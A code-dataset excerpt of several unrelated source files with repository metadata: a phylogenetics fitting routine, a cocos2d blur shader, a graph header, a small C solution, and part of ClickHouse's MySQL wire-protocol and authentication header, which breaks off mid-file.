(input_mod != NULL && mod->backgd_freqs != NULL && !pf->no_freqs && pf->init_backgd_from_data) { /* in some cases, the eq freqs are needed for initialization, but now they should be re-estimated -- UNLESS user specifies --no-freqs */ vec_free(mod->backgd_freqs); mod->backgd_freqs = NULL; } if (i == 0) { if (!quiet) fprintf(stderr, "Compacting sufficient statistics ...\n"); ss_collapse_missing(msa, !pf->gaps_as_bases); /* reduce number of tuples as much as possible */ } if (!quiet) { fprintf(stderr, "Fitting tree model to %s using %s%s ...\n", tmpstr->chars, tm_get_subst_mod_string(subst_mod), mod->nratecats > 1 ? " (with rate variation)" : ""); } if (pf->use_em) tm_fit_em(mod, msa, params, cat, pf->precision, pf->max_em_its, pf->logf, error_file); else //tm_fit(mod, msa, params, cat, pf->precision, pf->logf, pf->quiet, error_file); tm_setup(mod, msa, params, cat, pf->precision, pf->logf, pf->quiet, error_file, data); //printf("fi = %g\n", freg(mod->eta_coefficients, data)); } //if (input_mod == NULL) tm_free(mod); if (params != NULL) vec_free(params); } //if (pf->window_coords != NULL) // msa_free(msa); } if (error_file != NULL) phast_fclose(error_file); if (parsimony_cost_file != NULL) phast_fclose(parsimony_cost_file); str_free(mod_fname); str_free(tmpstr); /* if (free_cm) { cm_free(pf->cm); pf->cm = NULL; } if (free_cats_to_do_str) { lst_free_strings(pf->cats_to_do_str); lst_free(pf->cats_to_do_str); pf->cats_to_do_str = NULL; } if (free_tree) tr_free(tree); if (cats_to_do != NULL) lst_free(cats_to_do); if (free_window_coords) { lst_free(pf->window_coords); pf->window_coords = NULL; } if (gc != NULL) sfree(gc);*/ return 0; }
35.690164
131
0.598089
2fd0ff32547b394d42e73b4d3a4f7fe5416aa176
1,283
h
C
frameworks/cocos2d-x/cocos/quick_libs/src/extra/filters/shaders/ccFilterShader_zoom_blur_frag.h
gang544043963/-snake-I
24f6798efd4d70c03438db57e5e2b79d20cead4e
[ "MIT" ]
63
2015-03-17T01:26:12.000Z
2021-12-21T07:28:28.000Z
filters/shaders/ccFilterShader_zoom_blur_frag.h
IXgSoul/cocos2d-x-filters
86b0ec360a681c7dad4a77e741025a27c2a1abf6
[ "BSD-3-Clause" ]
1
2015-09-11T16:17:22.000Z
2015-09-11T16:17:22.000Z
filters/shaders/ccFilterShader_zoom_blur_frag.h
IXgSoul/cocos2d-x-filters
86b0ec360a681c7dad4a77e741025a27c2a1abf6
[ "BSD-3-Clause" ]
39
2015-01-12T08:03:52.000Z
2021-04-10T16:14:20.000Z
"#ifdef GL_ES\n\ precision highp float;\n\ #endif\n\ varying vec2 v_texCoord;\n\ \n\ uniform vec2 u_blurCenter;\n\ uniform float u_blurSize;\n\ \n\ void main()\n\ {\n\ // TODO: Do a more intelligent scaling based on resolution here\n\ vec2 samplingOffset = 1.0/100.0 * (u_blurCenter - v_texCoord) * u_blurSize;\n\ \n\ #ifdef GL_ES\n\ lowp vec4 fragmentColor = texture2D(CC_Texture0, v_texCoord) * 0.18;\n\ #else\n\ vec4 fragmentColor = texture2D(CC_Texture0, v_texCoord) * 0.18;\n\ #endif\n\ fragmentColor += texture2D(CC_Texture0, v_texCoord + samplingOffset) * 0.15;\n\ fragmentColor += texture2D(CC_Texture0, v_texCoord + (2.0 * samplingOffset)) * 0.12;\n\ fragmentColor += texture2D(CC_Texture0, v_texCoord + (3.0 * samplingOffset)) * 0.09;\n\ fragmentColor += texture2D(CC_Texture0, v_texCoord + (4.0 * samplingOffset)) * 0.05;\n\ fragmentColor += texture2D(CC_Texture0, v_texCoord - samplingOffset) * 0.15;\n\ fragmentColor += texture2D(CC_Texture0, v_texCoord - (2.0 * samplingOffset)) * 0.12;\n\ fragmentColor += texture2D(CC_Texture0, v_texCoord - (3.0 * samplingOffset)) * 0.09;\n\ fragmentColor += texture2D(CC_Texture0, v_texCoord - (4.0 * samplingOffset)) * 0.05;\n\ \n\ gl_FragColor = fragmentColor;\n\ }";
42.766667
92
0.687451
2fd10345403dd87f10a94fa457964398992b9692
152
h
C
graph-algorithms/shortest-paths/relax.h
gboduljak/clrs-implementations
62c9babc32d8a70a8f9e32b527967c7dc50543c3
[ "Unlicense" ]
null
null
null
graph-algorithms/shortest-paths/relax.h
gboduljak/clrs-implementations
62c9babc32d8a70a8f9e32b527967c7dc50543c3
[ "Unlicense" ]
null
null
null
graph-algorithms/shortest-paths/relax.h
gboduljak/clrs-implementations
62c9babc32d8a70a8f9e32b527967c7dc50543c3
[ "Unlicense" ]
null
null
null
#include "../graph.h" #include "initialize-single-source.h" #ifndef RELAX_H #define RELAX_H void Relax(single_source_structs structs, edge *e); #endif
19
51
0.763158
2fd108f3b7881398d0fcccfd76643aec4da94b22
604
c
C
157b.c
kaushalvivek/programming-practice
23cb71b7c9a5144926ce472294d8f4113bcc5086
[ "MIT" ]
null
null
null
157b.c
kaushalvivek/programming-practice
23cb71b7c9a5144926ce472294d8f4113bcc5086
[ "MIT" ]
null
null
null
157b.c
kaushalvivek/programming-practice
23cb71b7c9a5144926ce472294d8f4113bcc5086
[ "MIT" ]
null
null
null
#include <stdio.h> #include <stdlib.h> int comp (const void* a, const void* b) { const int *ai = (const int*)a; const int *bi = (const int*)b; return (*ai - *bi); } int main () { int i,n = 0; double ans = 0; const double pi = 3.1415926536; scanf("%d", &n); int A[n]; for (i = 0; i < n; i++) scanf("%d", &A[i]); qsort((void*)A, n, sizeof(A[0]), comp); for (i = n-1; i > -1; i--) { if ((n-1-i) % 2 == 0) { ans+= pi*A[i]*A[i]; } else ans-=pi*A[i]*A[i]; } printf("%lf", ans); return 0; }
19.483871
43
0.423841
2fd15f78c0587ee934de5b0cf2bc75c22a508a8c
33,875
h
C
src/Core/MySQLProtocol.h
andresokol/ClickHouse
4fa3628097180dced023b35a4e83aef10beaa6f5
[ "Apache-2.0" ]
null
null
null
src/Core/MySQLProtocol.h
andresokol/ClickHouse
4fa3628097180dced023b35a4e83aef10beaa6f5
[ "Apache-2.0" ]
null
null
null
src/Core/MySQLProtocol.h
andresokol/ClickHouse
4fa3628097180dced023b35a4e83aef10beaa6f5
[ "Apache-2.0" ]
null
null
null
#pragma once #include <ext/scope_guard.h> #include <random> #include <sstream> #include <Common/MemoryTracker.h> #include <Common/OpenSSLHelpers.h> #include <Common/PODArray.h> #include <Core/Types.h> #include <Interpreters/Context.h> #include <Access/AccessControlManager.h> #include <Access/User.h> #include <IO/copyData.h> #include <IO/LimitReadBuffer.h> #include <IO/ReadBuffer.h> #include <IO/ReadBufferFromMemory.h> #include <IO/ReadBufferFromPocoSocket.h> #include <IO/ReadHelpers.h> #include <IO/WriteBuffer.h> #include <IO/WriteBufferFromPocoSocket.h> #include <IO/WriteBufferFromString.h> #include <IO/WriteHelpers.h> #include <Poco/Net/StreamSocket.h> #include <Poco/RandomStream.h> #include <Poco/SHA1Engine.h> #if !defined(ARCADIA_BUILD) # include "config_core.h" #endif #if USE_SSL # include <openssl/pem.h> # include <openssl/rsa.h> #endif /// Implementation of MySQL wire protocol. /// Works only on little-endian architecture. namespace DB { namespace ErrorCodes { extern const int CANNOT_WRITE_AFTER_END_OF_BUFFER; extern const int UNKNOWN_PACKET_FROM_CLIENT; extern const int MYSQL_CLIENT_INSUFFICIENT_CAPABILITIES; extern const int OPENSSL_ERROR; extern const int UNKNOWN_EXCEPTION; } namespace MySQLProtocol { const size_t MAX_PACKET_LENGTH = (1 << 24) - 1; // 16 mb const size_t SCRAMBLE_LENGTH = 20; const size_t AUTH_PLUGIN_DATA_PART_1_LENGTH = 8; const size_t MYSQL_ERRMSG_SIZE = 512; const size_t PACKET_HEADER_SIZE = 4; const size_t SSL_REQUEST_PAYLOAD_SIZE = 32; enum CharacterSet { utf8_general_ci = 33, binary = 63 }; enum StatusFlags { SERVER_SESSION_STATE_CHANGED = 0x4000 }; enum Capability { CLIENT_CONNECT_WITH_DB = 0x00000008, CLIENT_PROTOCOL_41 = 0x00000200, CLIENT_SSL = 0x00000800, CLIENT_TRANSACTIONS = 0x00002000, // TODO CLIENT_SESSION_TRACK = 0x00800000, // TODO CLIENT_SECURE_CONNECTION = 0x00008000, CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA = 0x00200000, CLIENT_PLUGIN_AUTH = 0x00080000, CLIENT_DEPRECATE_EOF = 0x01000000, }; enum Command { COM_SLEEP = 0x0, COM_QUIT = 0x1, COM_INIT_DB = 0x2, COM_QUERY = 0x3, COM_FIELD_LIST = 0x4, COM_CREATE_DB = 0x5, COM_DROP_DB = 0x6, COM_REFRESH = 0x7, COM_SHUTDOWN = 0x8, COM_STATISTICS = 0x9, COM_PROCESS_INFO = 0xa, COM_CONNECT = 0xb, COM_PROCESS_KILL = 0xc, COM_DEBUG = 0xd, COM_PING = 0xe, COM_TIME = 0xf, COM_DELAYED_INSERT = 0x10, COM_CHANGE_USER = 0x11, COM_RESET_CONNECTION = 0x1f, COM_DAEMON = 0x1d }; enum ColumnType { MYSQL_TYPE_DECIMAL = 0x00, MYSQL_TYPE_TINY = 0x01, MYSQL_TYPE_SHORT = 0x02, MYSQL_TYPE_LONG = 0x03, MYSQL_TYPE_FLOAT = 0x04, MYSQL_TYPE_DOUBLE = 0x05, MYSQL_TYPE_NULL = 0x06, MYSQL_TYPE_TIMESTAMP = 0x07, MYSQL_TYPE_LONGLONG = 0x08, MYSQL_TYPE_INT24 = 0x09, MYSQL_TYPE_DATE = 0x0a, MYSQL_TYPE_TIME = 0x0b, MYSQL_TYPE_DATETIME = 0x0c, MYSQL_TYPE_YEAR = 0x0d, MYSQL_TYPE_VARCHAR = 0x0f, MYSQL_TYPE_BIT = 0x10, MYSQL_TYPE_NEWDECIMAL = 0xf6, MYSQL_TYPE_ENUM = 0xf7, MYSQL_TYPE_SET = 0xf8, MYSQL_TYPE_TINY_BLOB = 0xf9, MYSQL_TYPE_MEDIUM_BLOB = 0xfa, MYSQL_TYPE_LONG_BLOB = 0xfb, MYSQL_TYPE_BLOB = 0xfc, MYSQL_TYPE_VAR_STRING = 0xfd, MYSQL_TYPE_STRING = 0xfe, MYSQL_TYPE_GEOMETRY = 0xff }; // https://dev.mysql.com/doc/dev/mysql-server/latest/group__group__cs__column__definition__flags.html enum ColumnDefinitionFlags { UNSIGNED_FLAG = 32, BINARY_FLAG = 128 }; class ProtocolError : public DB::Exception { public: using Exception::Exception; }; /** Reading packets. * Internally, it calls (if no more data) next() method of the underlying ReadBufferFromPocoSocket, and sets the working buffer to the rest part of the current packet payload. */ class PacketPayloadReadBuffer : public ReadBuffer { public: PacketPayloadReadBuffer(ReadBuffer & in_, uint8_t & sequence_id_) : ReadBuffer(in_.position(), 0) // not in.buffer().begin(), because working buffer may include previous packet , in(in_) , sequence_id(sequence_id_) { } private: ReadBuffer & in; uint8_t & sequence_id; const size_t max_packet_size = MAX_PACKET_LENGTH; bool has_read_header = false; // Size of packet which is being read now. size_t payload_length = 0; // Offset in packet payload. size_t offset = 0; protected: bool nextImpl() override { if (!has_read_header || (payload_length == max_packet_size && offset == payload_length)) { has_read_header = true; working_buffer.resize(0); offset = 0; payload_length = 0; in.readStrict(reinterpret_cast<char *>(&payload_length), 3); if (payload_length > max_packet_size) { std::ostringstream tmp; tmp << "Received packet with payload larger than max_packet_size: " << payload_length; throw ProtocolError(tmp.str(), ErrorCodes::UNKNOWN_PACKET_FROM_CLIENT); } size_t packet_sequence_id = 0; in.read(reinterpret_cast<char &>(packet_sequence_id)); if (packet_sequence_id != sequence_id) { std::ostringstream tmp; tmp << "Received packet with wrong sequence-id: " << packet_sequence_id << ". Expected: " << static_cast<unsigned int>(sequence_id) << '.'; throw ProtocolError(tmp.str(), ErrorCodes::UNKNOWN_PACKET_FROM_CLIENT); } sequence_id++; if (payload_length == 0) return false; } else if (offset == payload_length) { return false; } in.nextIfAtEnd(); working_buffer = ReadBuffer::Buffer(in.position(), in.buffer().end()); size_t count = std::min(in.available(), payload_length - offset); working_buffer.resize(count); in.ignore(count); offset += count; return true; } }; class ClientPacket { public: ClientPacket() = default; ClientPacket(ClientPacket &&) = default; virtual void read(ReadBuffer & in, uint8_t & sequence_id) { PacketPayloadReadBuffer payload(in, sequence_id); readPayload(payload); if (!payload.eof()) { std::stringstream tmp; tmp << "Packet payload is not fully read. Stopped after " << payload.count() << " bytes, while " << payload.available() << " bytes are in buffer."; throw ProtocolError(tmp.str(), ErrorCodes::UNKNOWN_PACKET_FROM_CLIENT); } } virtual void readPayload(ReadBuffer & buf) = 0; virtual ~ClientPacket() = default; }; class LimitedClientPacket : public ClientPacket { public: void read(ReadBuffer & in, uint8_t & sequence_id) override { LimitReadBuffer limited(in, 10000, true, "too long MySQL packet."); ClientPacket::read(limited, sequence_id); } }; /** Writing packets. * https://dev.mysql.com/doc/internals/en/mysql-packet.html */ class PacketPayloadWriteBuffer : public WriteBuffer { public: PacketPayloadWriteBuffer(WriteBuffer & out_, size_t payload_length_, uint8_t & sequence_id_) : WriteBuffer(out_.position(), 0), out(out_), sequence_id(sequence_id_), total_left(payload_length_) { startNewPacket(); setWorkingBuffer(); pos = out.position(); } bool remainingPayloadSize() { return total_left; } private: WriteBuffer & out; uint8_t & sequence_id; size_t total_left = 0; size_t payload_length = 0; size_t bytes_written = 0; bool eof = false; void startNewPacket() { payload_length = std::min(total_left, MAX_PACKET_LENGTH); bytes_written = 0; total_left -= payload_length; out.write(reinterpret_cast<char *>(&payload_length), 3); out.write(sequence_id++); bytes += 4; } /// Sets working buffer to the rest of current packet payload. void setWorkingBuffer() { out.nextIfAtEnd(); working_buffer = WriteBuffer::Buffer(out.position(), out.position() + std::min(payload_length - bytes_written, out.available())); if (payload_length - bytes_written == 0) { /// Finished writing packet. Due to an implementation of WriteBuffer, working_buffer cannot be empty. Further write attempts will throw Exception. eof = true; working_buffer.resize(1); } } protected: void nextImpl() override { const int written = pos - working_buffer.begin(); if (eof) throw Exception("Cannot write after end of buffer.", ErrorCodes::CANNOT_WRITE_AFTER_END_OF_BUFFER); out.position() += written; bytes_written += written; /// Packets of size greater than MAX_PACKET_LENGTH are split into few packets of size MAX_PACKET_LENGTH and las packet of size < MAX_PACKET_LENGTH. if (bytes_written == payload_length && (total_left > 0 || payload_length == MAX_PACKET_LENGTH)) startNewPacket(); setWorkingBuffer(); } }; class WritePacket { public: virtual void writePayload(WriteBuffer & buffer, uint8_t & sequence_id) const { PacketPayloadWriteBuffer buf(buffer, getPayloadSize(), sequence_id); writePayloadImpl(buf); buf.next(); if (buf.remainingPayloadSize()) { std::stringstream ss; ss << "Incomplete payload. Written " << getPayloadSize() - buf.remainingPayloadSize() << " bytes, expected " << getPayloadSize() << " bytes."; throw Exception(ss.str(), 0); } } virtual ~WritePacket() = default; protected: virtual size_t getPayloadSize() const = 0; virtual void writePayloadImpl(WriteBuffer & buffer) const = 0; }; /* Writes and reads packets, keeping sequence-id. * Throws ProtocolError, if packet with incorrect sequence-id was received. */ class PacketSender { public: uint8_t & sequence_id; ReadBuffer * in; WriteBuffer * out; size_t max_packet_size = MAX_PACKET_LENGTH; /// For reading and writing. PacketSender(ReadBuffer & in_, WriteBuffer & out_, uint8_t & sequence_id_) : sequence_id(sequence_id_) , in(&in_) , out(&out_) { } /// For writing. PacketSender(WriteBuffer & out_, uint8_t & sequence_id_) : sequence_id(sequence_id_) , in(nullptr) , out(&out_) { } void receivePacket(ClientPacket & packet) { packet.read(*in, sequence_id); } template<class T> void sendPacket(const T & packet, bool flush = false) { static_assert(std::is_base_of<WritePacket, T>()); packet.writePayload(*out, sequence_id); if (flush) out->next(); } PacketPayloadReadBuffer getPayload() { return PacketPayloadReadBuffer(*in, sequence_id); } /// Sets sequence-id to 0. Must be called before each command phase. void resetSequenceId(); /// Converts packet to text. Is used for debug output. static String packetToText(const String & payload); }; uint64_t readLengthEncodedNumber(ReadBuffer & ss); void writeLengthEncodedNumber(uint64_t x, WriteBuffer & buffer); inline void writeLengthEncodedString(const String & s, WriteBuffer & buffer) { writeLengthEncodedNumber(s.size(), buffer); buffer.write(s.data(), s.size()); } inline void writeNulTerminatedString(const String & s, WriteBuffer & buffer) { buffer.write(s.data(), s.size()); buffer.write(0); } size_t getLengthEncodedNumberSize(uint64_t x); size_t getLengthEncodedStringSize(const String & s); class Handshake : public WritePacket { int protocol_version = 0xa; String server_version; uint32_t connection_id; uint32_t capability_flags; uint8_t character_set; uint32_t status_flags; String auth_plugin_name; String auth_plugin_data; public: explicit Handshake(uint32_t capability_flags_, uint32_t connection_id_, String server_version_, String auth_plugin_name_, String auth_plugin_data_) : protocol_version(0xa) , server_version(std::move(server_version_)) , connection_id(connection_id_) , capability_flags(capability_flags_) , character_set(CharacterSet::utf8_general_ci) , status_flags(0) , auth_plugin_name(std::move(auth_plugin_name_)) , auth_plugin_data(std::move(auth_plugin_data_)) { } protected: size_t getPayloadSize() const override { return 26 + server_version.size() + auth_plugin_data.size() + auth_plugin_name.size(); } void writePayloadImpl(WriteBuffer & buffer) const override { buffer.write(static_cast<char>(protocol_version)); writeNulTerminatedString(server_version, buffer); buffer.write(reinterpret_cast<const char *>(&connection_id), 4); writeNulTerminatedString(auth_plugin_data.substr(0, AUTH_PLUGIN_DATA_PART_1_LENGTH), buffer); buffer.write(reinterpret_cast<const char *>(&capability_flags), 2); buffer.write(reinterpret_cast<const char *>(&character_set), 1); buffer.write(reinterpret_cast<const char *>(&status_flags), 2); buffer.write((reinterpret_cast<const char *>(&capability_flags)) + 2, 2); buffer.write(static_cast<char>(auth_plugin_data.size())); writeChar(0x0, 10, buffer); writeString(auth_plugin_data.substr(AUTH_PLUGIN_DATA_PART_1_LENGTH, auth_plugin_data.size() - AUTH_PLUGIN_DATA_PART_1_LENGTH), buffer); writeString(auth_plugin_name, buffer); writeChar(0x0, 1, buffer); } }; class SSLRequest : public ClientPacket { public: uint32_t capability_flags; uint32_t max_packet_size; uint8_t character_set; void readPayload(ReadBuffer & buf) override { buf.readStrict(reinterpret_cast<char *>(&capability_flags), 4); buf.readStrict(reinterpret_cast<char *>(&max_packet_size), 4); buf.readStrict(reinterpret_cast<char *>(&character_set), 1); } }; class HandshakeResponse : public LimitedClientPacket { public: uint32_t capability_flags = 0; uint32_t max_packet_size = 0; uint8_t character_set = 0; String username; String auth_response; String database; String auth_plugin_name; HandshakeResponse() = default; void readPayload(ReadBuffer & payload) override { payload.readStrict(reinterpret_cast<char *>(&capability_flags), 4); payload.readStrict(reinterpret_cast<char *>(&max_packet_size), 4); payload.readStrict(reinterpret_cast<char *>(&character_set), 1); payload.ignore(23); readNullTerminated(username, payload); if (capability_flags & CLIENT_PLUGIN_AUTH_LENENC_CLIENT_DATA) { auto len = readLengthEncodedNumber(payload); auth_response.resize(len); payload.readStrict(auth_response.data(), len); } else if (capability_flags & CLIENT_SECURE_CONNECTION) { char len; payload.readStrict(len); auth_response.resize(static_cast<unsigned int>(len)); payload.readStrict(auth_response.data(), len); } else { readNullTerminated(auth_response, payload); } if (capability_flags & CLIENT_CONNECT_WITH_DB) { readNullTerminated(database, payload); } if (capability_flags & CLIENT_PLUGIN_AUTH) { readNullTerminated(auth_plugin_name, payload); } } }; class AuthSwitchRequest : public WritePacket { String plugin_name; String auth_plugin_data; public: AuthSwitchRequest(String plugin_name_, String auth_plugin_data_) : plugin_name(std::move(plugin_name_)), auth_plugin_data(std::move(auth_plugin_data_)) { } protected: size_t getPayloadSize() const override { return 2 + plugin_name.size() + auth_plugin_data.size(); } void writePayloadImpl(WriteBuffer & buffer) const override { buffer.write(0xfe); writeNulTerminatedString(plugin_name, buffer); writeString(auth_plugin_data, buffer); } }; class AuthSwitchResponse : public LimitedClientPacket { public: String value; void readPayload(ReadBuffer & payload) override { readStringUntilEOF(value, payload); } }; class AuthMoreData : public WritePacket { String data; public: explicit AuthMoreData(String data_): data(std::move(data_)) {} protected: size_t getPayloadSize() const override { return 1 + data.size(); } void writePayloadImpl(WriteBuffer & buffer) const override { buffer.write(0x01); writeString(data, buffer); } }; class OK_Packet : public WritePacket { uint8_t header; uint32_t capabilities; uint64_t affected_rows; int16_t warnings = 0; uint32_t status_flags; String session_state_changes; String info; public: OK_Packet(uint8_t header_, uint32_t capabilities_, uint64_t affected_rows_, uint32_t status_flags_, int16_t warnings_, String session_state_changes_ = "", String info_ = "") : header(header_) , capabilities(capabilities_) , affected_rows(affected_rows_) , warnings(warnings_) , status_flags(status_flags_) , session_state_changes(std::move(session_state_changes_)) , info(std::move(info_)) { } protected: size_t getPayloadSize() const override { size_t result = 2 + getLengthEncodedNumberSize(affected_rows); if (capabilities & CLIENT_PROTOCOL_41) { result += 4; } else if (capabilities & CLIENT_TRANSACTIONS) { result += 2; } if (capabilities & CLIENT_SESSION_TRACK) { result += getLengthEncodedStringSize(info); if (status_flags & SERVER_SESSION_STATE_CHANGED) result += getLengthEncodedStringSize(session_state_changes); } else { result += info.size(); } return result; } void writePayloadImpl(WriteBuffer & buffer) const override { buffer.write(header); writeLengthEncodedNumber(affected_rows, buffer); writeLengthEncodedNumber(0, buffer); /// last insert-id if (capabilities & CLIENT_PROTOCOL_41) { buffer.write(reinterpret_cast<const char *>(&status_flags), 2); buffer.write(reinterpret_cast<const char *>(&warnings), 2); } else if (capabilities & CLIENT_TRANSACTIONS) { buffer.write(reinterpret_cast<const char *>(&status_flags), 2); } if (capabilities & CLIENT_SESSION_TRACK) { writeLengthEncodedString(info, buffer); if (status_flags & SERVER_SESSION_STATE_CHANGED) writeLengthEncodedString(session_state_changes, buffer); } else { writeString(info, buffer); } } }; class EOF_Packet : public WritePacket { int warnings; int status_flags; public: EOF_Packet(int warnings_, int status_flags_) : warnings(warnings_), status_flags(status_flags_) {} protected: size_t getPayloadSize() const override { return 5; } void writePayloadImpl(WriteBuffer & buffer) const override { buffer.write(0xfe); // EOF header buffer.write(reinterpret_cast<const char *>(&warnings), 2); buffer.write(reinterpret_cast<const char *>(&status_flags), 2); } }; class ERR_Packet : public WritePacket { int error_code; String sql_state; String error_message; public: ERR_Packet(int error_code_, String sql_state_, String error_message_) : error_code(error_code_), sql_state(std::move(sql_state_)), error_message(std::move(error_message_)) { } protected: size_t getPayloadSize() const override { return 4 + sql_state.length() + std::min(error_message.length(), MYSQL_ERRMSG_SIZE); } void writePayloadImpl(WriteBuffer & buffer) const override { buffer.write(0xff); buffer.write(reinterpret_cast<const char *>(&error_code), 2); buffer.write('#'); buffer.write(sql_state.data(), sql_state.length()); buffer.write(error_message.data(), std::min(error_message.length(), MYSQL_ERRMSG_SIZE)); } }; class ColumnDefinition : public WritePacket { String schema; String table; String org_table; String name; String org_name; size_t next_length = 0x0c; uint16_t character_set; uint32_t column_length; ColumnType column_type; uint16_t flags; uint8_t decimals = 0x00; public: ColumnDefinition( String schema_, String table_, String org_table_, String name_, String org_name_, uint16_t character_set_, uint32_t column_length_, ColumnType column_type_, uint16_t flags_, uint8_t decimals_) : schema(std::move(schema_)), table(std::move(table_)), org_table(std::move(org_table_)), name(std::move(name_)), org_name(std::move(org_name_)), character_set(character_set_), column_length(column_length_), column_type(column_type_), flags(flags_), decimals(decimals_) { } /// Should be used when column metadata (original name, table, original table, database) is unknown. ColumnDefinition( String name_, uint16_t character_set_, uint32_t column_length_, ColumnType column_type_, uint16_t flags_, uint8_t decimals_) : ColumnDefinition("", "", "", std::move(name_), "", character_set_, column_length_, column_type_, flags_, decimals_) { } protected: size_t getPayloadSize() const override { return 13 + getLengthEncodedStringSize("def") + getLengthEncodedStringSize(schema) + getLengthEncodedStringSize(table) + getLengthEncodedStringSize(org_table) + \ getLengthEncodedStringSize(name) + getLengthEncodedStringSize(org_name) + getLengthEncodedNumberSize(next_length); } void writePayloadImpl(WriteBuffer & buffer) const override { writeLengthEncodedString(std::string("def"), buffer); /// always "def" writeLengthEncodedString(schema, buffer); writeLengthEncodedString(table, buffer); writeLengthEncodedString(org_table, buffer); writeLengthEncodedString(name, buffer); writeLengthEncodedString(org_name, buffer); writeLengthEncodedNumber(next_length, buffer); buffer.write(reinterpret_cast<const char *>(&character_set), 2); buffer.write(reinterpret_cast<const char *>(&column_length), 4); buffer.write(reinterpret_cast<const char *>(&column_type), 1); buffer.write(reinterpret_cast<const char *>(&flags), 2); buffer.write(reinterpret_cast<const char *>(&decimals), 2); writeChar(0x0, 2, buffer); } }; class ComFieldList : public LimitedClientPacket { public: String table, field_wildcard; void readPayload(ReadBuffer & payload) override { // Command byte has been already read from payload. readNullTerminated(table, payload); readStringUntilEOF(field_wildcard, payload); } }; class LengthEncodedNumber : public WritePacket { uint64_t value; public: explicit LengthEncodedNumber(uint64_t value_): value(value_) { } protected: size_t getPayloadSize() const override { return getLengthEncodedNumberSize(value); } void writePayloadImpl(WriteBuffer & buffer) const override { writeLengthEncodedNumber(value, buffer); } }; ColumnDefinition getColumnDefinition(const String & column_name, const TypeIndex index); namespace ProtocolText { class ResultsetRow : public WritePacket { const Columns & columns; int row_num; size_t payload_size = 0; std::vector<String> serialized; public: ResultsetRow(const DataTypes & data_types, const Columns & columns_, int row_num_) : columns(columns_) , row_num(row_num_) { for (size_t i = 0; i < columns.size(); i++) { if (columns[i]->isNullAt(row_num)) { payload_size += 1; serialized.emplace_back("\xfb"); } else { WriteBufferFromOwnString ostr; data_types[i]->serializeAsText(*columns[i], row_num, ostr, FormatSettings()); payload_size += getLengthEncodedStringSize(ostr.str()); serialized.push_back(std::move(ostr.str())); } } } protected: size_t getPayloadSize() const override { return payload_size; } void writePayloadImpl(WriteBuffer & buffer) const override { for (size_t i = 0; i < columns.size(); i++) { if (columns[i]->isNullAt(row_num)) buffer.write(serialized[i].data(), 1); else writeLengthEncodedString(serialized[i], buffer); } } }; } namespace Authentication { class IPlugin { public: virtual String getName() = 0; virtual String getAuthPluginData() = 0; virtual void authenticate(const String & user_name, std::optional<String> auth_response, Context & context, std::shared_ptr<PacketSender> packet_sender, bool is_secure_connection, const Poco::Net::SocketAddress & address) = 0; virtual ~IPlugin() = default; }; /// https://dev.mysql.com/doc/internals/en/secure-password-authentication.html class Native41 : public IPlugin { public: Native41() { scramble.resize(SCRAMBLE_LENGTH + 1, 0); Poco::RandomInputStream generator; /** Generate a random string using ASCII characters but avoid separator character, * produce pseudo random numbers between with about 7 bit worth of entropty between 1-127. * https://github.com/mysql/mysql-server/blob/8.0/mysys/crypt_genhash_impl.cc#L427 */ for (size_t i = 0; i < SCRAMBLE_LENGTH; ++i) { generator >> scramble[i]; scramble[i] &= 0x7f; if (scramble[i] == '\0' || scramble[i] == '$') scramble[i] = scramble[i] + 1; } } String getName() override { return "mysql_native_password"; } String getAuthPluginData() override { return scramble; } void authenticate( const String & user_name, std::optional<String> auth_response, Context & context, std::shared_ptr<PacketSender> packet_sender, bool /* is_secure_connection */, const Poco::Net::SocketAddress & address) override { if (!auth_response) { packet_sender->sendPacket(AuthSwitchRequest(getName(), scramble), true); AuthSwitchResponse response; packet_sender->receivePacket(response); auth_response = response.value; } if (auth_response->empty()) { context.setUser(user_name, "", address); return; } if (auth_response->size() != Poco::SHA1Engine::DIGEST_SIZE) throw Exception("Wrong size of auth response. Expected: " + std::to_string(Poco::SHA1Engine::DIGEST_SIZE) + " bytes, received: " + std::to_string(auth_response->size()) + " bytes.", ErrorCodes::UNKNOWN_EXCEPTION); auto user = context.getAccessControlManager().read<User>(user_name); Poco::SHA1Engine::Digest double_sha1_value = user->authentication.getPasswordDoubleSHA1(); assert(double_sha1_value.size() == Poco::SHA1Engine::DIGEST_SIZE); Poco::SHA1Engine engine; engine.update(scramble.data(), SCRAMBLE_LENGTH); engine.update(double_sha1_value.data(), double_sha1_value.size()); String password_sha1(Poco::SHA1Engine::DIGEST_SIZE, 0x0); const Poco::SHA1Engine::Digest & digest = engine.digest(); for (size_t i = 0; i < password_sha1.size(); i++) { password_sha1[i] = digest[i] ^ static_cast<unsigned char>((*auth_response)[i]); } context.setUser(user_name, password_sha1, address); } private: String scramble; }; #if USE_SSL /// Caching SHA2 plugin is not used because it would be possible to authenticate knowing hash from users.xml. /// https://dev.mysql.com/doc/internals/en/sha256.html class Sha256Password : public IPlugin { public: Sha256Password(RSA & public_key_, RSA & private_key_, Logger * log_) : public_key(public_key_) , private_key(private_key_) , log(log_) { /** Native authentication sent 20 bytes + '\0' character = 21 bytes. * This plugin must do the same to stay consistent with historical behavior if it is set to operate as a default plugin. [1] * https://github.com/mysql/mysql-server/blob/8.0/sql/auth/sql_authentication.cc#L3994 */ scramble.resize(SCRAMBLE_LENGTH + 1, 0); Poco::RandomInputStream generator; for (size_t i = 0; i < SCRAMBLE_LENGTH; ++i) { generator >> scramble[i]; scramble[i] &= 0x7f; if (scramble[i] == '\0' || scramble[i] == '$') scramble[i] = scramble[i] + 1; } } String getName() override { return "sha256_password"; } String getAuthPluginData() override { return scramble; } void authenticate( const String & user_name, std::optional<String> auth_response, Context & context, std::shared_ptr<PacketSender> packet_sender, bool is_secure_connection, const Poco::Net::SocketAddress & address) override { if (!auth_response) { packet_sender->sendPacket(AuthSwitchRequest(getName(), scramble), true); if (packet_sender->in->eof()) throw Exception("Client doesn't support authentication method " + getName() + " used by ClickHouse. Specifying user password using 'password_double_sha1_hex' may fix the problem.", ErrorCodes::MYSQL_CLIENT_INSUFFICIENT_CAPABILITIES); AuthSwitchResponse response; packet_sender->receivePacket(response); auth_response = response.value; LOG_TRACE(log, "Authentication method mismatch."); } else { LOG_TRACE(log, "Authentication method match."); } bool sent_public_key = false; if (auth_response == "\1") { LOG_TRACE(log, "Client requests public key."); BIO * mem = BIO_new(BIO_s_mem()); SCOPE_EXIT(BIO_free(mem)); if (PEM_write_bio_RSA_PUBKEY(mem, &public_key) != 1) { throw Exception("Failed to write public key to memory. Error: " + getOpenSSLErrors(), ErrorCodes::OPENSSL_ERROR); } char * pem_buf = nullptr; # pragma GCC diagnostic push # pragma GCC 